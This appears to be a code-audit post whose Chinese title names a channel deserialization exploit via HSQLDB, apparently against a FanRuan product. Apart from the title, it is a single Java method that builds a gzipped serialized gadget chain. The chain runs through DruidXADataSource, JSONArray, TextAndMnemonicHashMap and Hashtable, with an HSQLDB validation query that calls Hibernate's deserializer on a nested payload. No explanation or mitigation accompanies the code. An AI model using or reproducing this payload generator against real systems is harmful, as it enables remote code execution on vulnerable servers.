[代码审计]*软channel反序列化hsql浅析利用

public static byte[] getPayload(byte[] bytes) throws Exception {    byte[]  bytes2 = utils.GzipUncompress(Hibernate.getPayload(bytes));    String hex = utils.bytesToHex(bytes2);    String call = "call "com.fr.third.org.hibernate.internal.util.SerializationHelper.deserialize"(...............);";    DruidXADataSource druidXADataSource = new DruidXADataSource();    List<?> list_3 = new ArrayList<>(Arrays.asList(druidXADataSource));    List<?> list_1 = new ArrayList<>(Arrays.asList(list_3));    List<?> list_2 = new ArrayList<>(Arrays.asList("1"));    JSONArray jsonArray_1 = new JSONArray(list_1);    JSONArray jsonArray_2 = new JSONArray(list_2);    Constructor<?> t_constructor = utils.getConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap");    Object textAndMnemonicHashMap_1 = t_constructor.newInstance();    Object textAndMnemonicHashMap_2 = t_constructor.newInstance();    Method putmethod = Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap").getSuperclass().getDeclaredMethod("put", Object.class, Object.class);    putmethod.setAccessible(true);    putmethod.invoke(textAndMnemonicHashMap_1, jsonArray_1, 11);    putmethod.invoke(textAndMnemonicHashMap_2, jsonArray_2, jsonArray_2);    utils.setFFFieldValue(druidXADataSource,"statLogger",null);    utils.setFFFieldValue(druidXADataSource,"logWriter",null);    utils.setFFFieldValue(druidXADataSource,"transactionHistogram",null);    utils.setFFieldValue(druidXADataSource,"initedLatch",null);    utils.setFFFieldValue(druidXADataSource,"initialSize",1);    utils.setFFFieldValue(druidXADataSource,"jdbcUrl","jdbc:hsqldb:mem:test");    utils.setFFFieldValue(druidXADataSource,"validationQuery",call);    Hashtable<Object,Object> hashtable = new Hashtable<>();    hashtable.put(textAndMnemonicHashMap_1,1);    hashtable.put(textAndMnemonicHashMap_2,1);    putmethod.invoke(textAndMnemonicHashMap_1, jsonArray_1, jsonArray_1);    byte[] ser = utils.serialize(hashtable);    byte[] payload = utils.GzipCompress(ser);    return payload;}